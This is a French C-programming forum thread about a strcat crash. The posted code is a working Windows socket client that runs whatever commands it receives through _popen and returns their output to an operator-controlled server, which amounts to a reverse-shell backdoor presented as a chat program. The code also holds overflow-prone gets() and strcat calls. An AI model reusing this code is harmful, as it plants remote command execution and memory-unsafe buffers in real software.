Problème fonction strcat qui me fais crash [Résolu]

Signaler
Messages postés
28
Date d'inscription
mercredi 17 juin 2020
Statut
Membre
Dernière intervention
4 juillet 2021
-
 CoDForlan -
Bonjour à tous,
Je suis en train de travailler sur tchat textuel en C et j'ai un problème avec un fonction dans la lib string :
Mon bute étant d'afficher le retour de la consol windows avec la fonction _popen si vous la connaissez, pour faire ceci j'ai donc fais ce premier script côté du premier client :
FILE * fp = _popen(buffer, "r");

				while(!feof(fp)){
					printf("%s", buffer);
					fgets(buffer, sizeof(buffer), fp);
				}
				// on renvoit le résultat
				send(sock,buffer,sizeof(buffer),0);

Du côté du second client (pour la réception même si elle est des deux côtés) :
recv(csock, buffer, DEFAULT_BUFLEN, 0);
                        puts(buffer);

En imaginant que dans le buffer il y est la commande "dir" et bien il m'afficher :
1 Dir(s)  114,346,139,648 bytes free


pour celui ci il n'y a pas vraiment de problème simplement je voudrais avoir toutes les lignes, j'ai donc avancé et ajouté cela du côté du premier client :
FILE * fp = _popen(buffer, "r");

				while(!feof(fp)){
					printf("%s", buffer);
					strcat(buffer2,buffer);
					fgets(buffer, sizeof(buffer), fp);
				}
				// on renvoit le résultat
				send(sock,buffer2,sizeof(buffer),0);

Dans le deuxième cas quand il y a une commande ou il pourrait avoir un retour comme "dir" et bien le programme crash tout simplement.

Voilà j'espère que j'ai été assez claire dans ce que j'ai dit merci encore pour ce qui m'apporterons leur aide.
Cordialement

4 réponses

Messages postés
16453
Date d'inscription
lundi 9 juin 2008
Statut
Contributeur
Dernière intervention
28 juillet 2021
880
bonjour,
as-tu lu la documentation de strcat?
es-tu certain d'avoir partagé les parties les plus importantes de ton programme, celles où tu déclares et modifies ta variable buffer2?
Messages postés
28
Date d'inscription
mercredi 17 juin 2020
Statut
Membre
Dernière intervention
4 juillet 2021

Si tu veux le code entier :
Celui la c'est celui qui ne me fais pas crash
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "Ws2_32.lib")

#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT 4444

int main(int argc, char const *argv[]){
 char buffer[DEFAULT_BUFLEN]={0};
 char buffer2[DEFAULT_BUFLEN]={0};

 // création de l'objet socket
 WSADATA WSAData;
 int erreur=WSAStartup(MAKEWORD(2,2),&WSAData);
 
 SOCKET sock;
 SOCKADDR_IN sin;
 if (!erreur) {

 // Création de la socket 
 sock=socket(AF_INET,SOCK_STREAM,0);

 // Configuration de l'ip et port du serveur
 sin.sin_addr.s_addr=inet_addr("127.0.0.1");
 sin.sin_family=AF_INET;
 sin.sin_port=htons(DEFAULT_PORT);

 // test de connexion
  if (connect(sock,(SOCKADDR*)& sin,sizeof(sin))!=SOCKET_ERROR) {

   // tant que la socket est active si on reçoit une requête
   while (recv(sock,buffer,sizeof(buffer),0)!=SOCKET_ERROR) {

    // on exécute la commande contenue dans le buffer
    // on utilise _popen plutot que system afin de recuperer l'output
    FILE * fp = _popen(buffer, "r");

    while(!feof(fp)){
     printf("%s", buffer);
     fgets(buffer, sizeof(buffer), fp);
    }
    // on renvoit le résultat
    send(sock,buffer,sizeof(buffer),0);
    ZeroMemory(buffer,sizeof(buffer));
    ZeroMemory(buffer2,sizeof(buffer2));
    if (feof(fp))
     printf("\nProcess returned %d\n", _pclose(fp));
    else
     printf("Error: Failed to read the pipe to the end.\n");

    // on ferme le process
    _pclose(fp);
   }
  }
  // fermeture de la connexion socket
  closesocket(sock);
  WSACleanup();
 }
 return 0;
}

Celui qui me fais crash c'est celui :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "Ws2_32.lib")

#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT 4444

int main(int argc, char const *argv[]){
 char buffer[DEFAULT_BUFLEN]={0};
 char buffer2[DEFAULT_BUFLEN]={0};

 // création de l'objet socket
 WSADATA WSAData;
 int erreur=WSAStartup(MAKEWORD(2,2),&WSAData);
 
 SOCKET sock;
 SOCKADDR_IN sin;
 if (!erreur) {

 // Création de la socket 
 sock=socket(AF_INET,SOCK_STREAM,0);

 // Configuration de l'ip et port du serveur
 sin.sin_addr.s_addr=inet_addr("127.0.0.1");
 sin.sin_family=AF_INET;
 sin.sin_port=htons(DEFAULT_PORT);

 // test de connexion
  if (connect(sock,(SOCKADDR*)& sin,sizeof(sin))!=SOCKET_ERROR) {

   // tant que la socket est active si on reçoit une requête
   while (recv(sock,buffer,sizeof(buffer),0)!=SOCKET_ERROR) {

    // on exécute la commande contenue dans le buffer
    // on utilise _popen plutot que system afin de recuperer l'output
    FILE * fp = _popen(buffer, "r");

    while(!feof(fp)){
     printf("%s", buffer);
     strcat(buffer2,buffer);
     fgets(buffer, sizeof(buffer), fp);
    }
    // on renvoit le résultat
    send(sock,buffer2,sizeof(buffer),0);
    ZeroMemory(buffer,sizeof(buffer));
    ZeroMemory(buffer2,sizeof(buffer2));
    if (feof(fp))
     printf("\nProcess returned %d\n", _pclose(fp));
    else
     printf("Error: Failed to read the pipe to the end.\n");

    // on ferme le process
    _pclose(fp);
   }
  }
  // fermeture de la connexion socket
  closesocket(sock);
  WSACleanup();
 }
 return 0;
}

Le serveur de réception c'est celui llà :
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <string.h>
#pragma comment(lib, "Ws2_32.lib")
typedef int socklen_t;

#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT 4444


int main(void) {
    const char IP[DEFAULT_BUFLEN]="127.0.0.1";
    char buffer[DEFAULT_BUFLEN];
    int valrecv;
    int sockErr;

    WSADATA WSAData;
    int erreur = WSAStartup(MAKEWORD(2,2), &WSAData);

    SOCKET sock;
    SOCKADDR_IN sin;
    socklen_t sizeBind = sizeof(sin);

    SOCKET csock;
    SOCKADDR_IN csin;
    socklen_t sizeAccept = sizeof(csin);

    if(!erreur){
        sock = socket(AF_INET, SOCK_STREAM, 0);
        if(sock != INVALID_SOCKET){
            printf("Socket %d is open : TCP/IP\n", sock);

            sin.sin_addr.s_addr = inet_addr(IP);
            sin.sin_family=AF_INET;
            sin.sin_port=htons(DEFAULT_PORT);

            sockErr = bind(sock, (SOCKADDR*)&sin, sizeBind);
            if(sockErr != SOCKET_ERROR){

                sockErr = listen(sock, 5);
                printf("Listen port %d\n", DEFAULT_PORT);
                if(sockErr != SOCKET_ERROR){
                    csock = accept(sock, (SOCKADDR*)&sin, &sizeAccept);
                    printf("Connection to the socket %d on %s:%d\n", csock, inet_ntoa(csin.sin_addr), htons(csin.sin_port));

                    while(valrecv > 0){
                        printf("Write the command to send :\n");
                        gets(buffer);
                        send(csock, buffer, DEFAULT_BUFLEN, 0);

                        recv(csock, buffer, DEFAULT_BUFLEN, 0);
                        puts(buffer);

                        ZeroMemory(buffer,DEFAULT_BUFLEN);
        }
                printf("Connection closed\n");
                }
                else{
                    puts("listen");
                    WSACleanup();
                }
            }
            else{
                puts("bind");
                WSACleanup();
            }
        }
        else{
            puts("socket");
            WSACleanup();
        }
        closesocket(sock);
        WSACleanup();
    }
    return 0;   
}
Messages postés
16453
Date d'inscription
lundi 9 juin 2008
Statut
Contributeur
Dernière intervention
28 juillet 2021
880
si j'ai bien compris, l'erreur se produit en ligne 43.
combien de fois la ligne 42 a-t-elle été exécutée avant l'erreur?
Messages postés
28
Date d'inscription
mercredi 17 juin 2020
Statut
Membre
Dernière intervention
4 juillet 2021
>
Messages postés
16453
Date d'inscription
lundi 9 juin 2008
Statut
Contributeur
Dernière intervention
28 juillet 2021

j'ai réussis à copié la fenêtre un fois quel était en train de crasher :
0dir1 Volume in drive D is Local Disk
2 Volume Serial Number is 8EB0-FB18
3
4 Directory of D:\Data\prog\C\CORONAVIRUS
5
607/03/2021 09:30 PM <DIR> .
707/03/2021 09:30 PM <DIR> ..
807/03/2021 09:18 PM 2,148 1.c
907/03/2021 04:57 PM 43,814 1.exe
1007/03/2021 09:19 PM 2,221 2.c
1107/03/2021 09:19 PM 43,814 2.exe
1208/31/2020 05:05 PM 298 findIP.c
1307/03/2021 09:24 PM 64 New AutoHotkey Script.ahk
1407/03/2021 09:29 PM 631 New Text Document.txt
1508/02/2020 02:53 PM 81 obfusqationRLO.txt

J'ai juste modifier ça
FILE * fp = _popen(buffer, "r");

				int i = 0;

				while(!feof(fp)){

					printf("%d%s", i, buffer);
					strcat(buffer2,buffer);
					fgets(buffer, sizeof(buffer), fp);
					i = i + 1;
				}
				// on renvoit le résultat
				send(sock,buffer2,sizeof(buffer),0);
				ZeroMemory(buffer,sizeof(buffer));
				ZeroMemory(buffer2,sizeof(buffer2));
Messages postés
16453
Date d'inscription
lundi 9 juin 2008
Statut
Contributeur
Dernière intervention
28 juillet 2021
880 >
Messages postés
28
Date d'inscription
mercredi 17 juin 2020
Statut
Membre
Dernière intervention
4 juillet 2021

as-tu compté combien de caractères tu essayait de mettre dans buffer2, comparé à la taille de buffer2?
Messages postés
579
Date d'inscription
dimanche 7 février 2016
Statut
Membre
Dernière intervention
16 juillet 2021
79
Bonjour,

Attention, tu ne gères pas correctement le terminateur de chaîne. Quand tu reçois ton buffer, il n'y a pas de \0 dedans (le socket a transmis des octets, tu dois utiliser la taille reçue au moment du recv()). Tu as rempli buffer de \0 donc ça fonctionne au début (affichage du "dir") car tu as rempli ton buffer de \0.
Quand tu arrives à la taille reçue (512 octets dans ton cas), il n'y a "rien" après et ton fgets() ou ton strcat() plante. Si recv() a retourné 512, il a des chances pour que tu n'aies qu'un morceau de ligne, c'est la lecture de ce morceau qui pose problème.
Une solution "bidouille", remplace
#define DEFAULT_BUFLEN 512
par quelque chose de plus grand, tu auras le problème plus tard ou jamais.
utiliser fgets() dans le cas où recv() a retourné 512 ne fonctionne pas. Dans le cas où revc() donne un nombre inférieur (la fin de la séquence), il suffit d'y ajouter le \0 au bon endroit pour que ça fonctionne.
Messages postés
28
Date d'inscription
mercredi 17 juin 2020
Statut
Membre
Dernière intervention
4 juillet 2021
>
Messages postés
16453
Date d'inscription
lundi 9 juin 2008
Statut
Contributeur
Dernière intervention
28 juillet 2021

je ne vois pas de quoi tu parles dans les deux programmes il y a un recv()mais je ne vois pas ou se trouve le problème apart ce qu'on vient de parler ( le caractère \0)
Messages postés
16453
Date d'inscription
lundi 9 juin 2008
Statut
Contributeur
Dernière intervention
28 juillet 2021
880 >
Messages postés
28
Date d'inscription
mercredi 17 juin 2020
Statut
Membre
Dernière intervention
4 juillet 2021

as-tu lu ma question en #6?
>
Messages postés
16453
Date d'inscription
lundi 9 juin 2008
Statut
Contributeur
Dernière intervention
28 juillet 2021

oui mais le programme serveur n'a pas de problèmes c'est le client qui en as un et Dalfab as résolu le problème c'est bon.
À part si tu as quelques choses à me conseiller je vais passer le sujet en résolue.
Messages postés
579
Date d'inscription
dimanche 7 février 2016
Statut
Membre
Dernière intervention
16 juillet 2021
79 > CoDForlan
Je n'ai pas résolu le problème.
J'ai donné une piste pour le résoudre.
J'ai donné un exemple qui le déplace à plus tard.
>
Messages postés
579
Date d'inscription
dimanche 7 février 2016
Statut
Membre
Dernière intervention
16 juillet 2021

Bas si mon problème était que la commande strcat me faisait crash et j'ai compris pourquoi.
Du coup c'est résolu ?
Messages postés
28
Date d'inscription
mercredi 17 juin 2020
Statut
Membre
Dernière intervention
4 juillet 2021

aussi pour répondre à Dalfab tu avais raison j'ai juste eu à passer mon define buffer len à 1024 et le tour est joué jusqu'à ce qu'il y est est message de plus de 1024 bits x)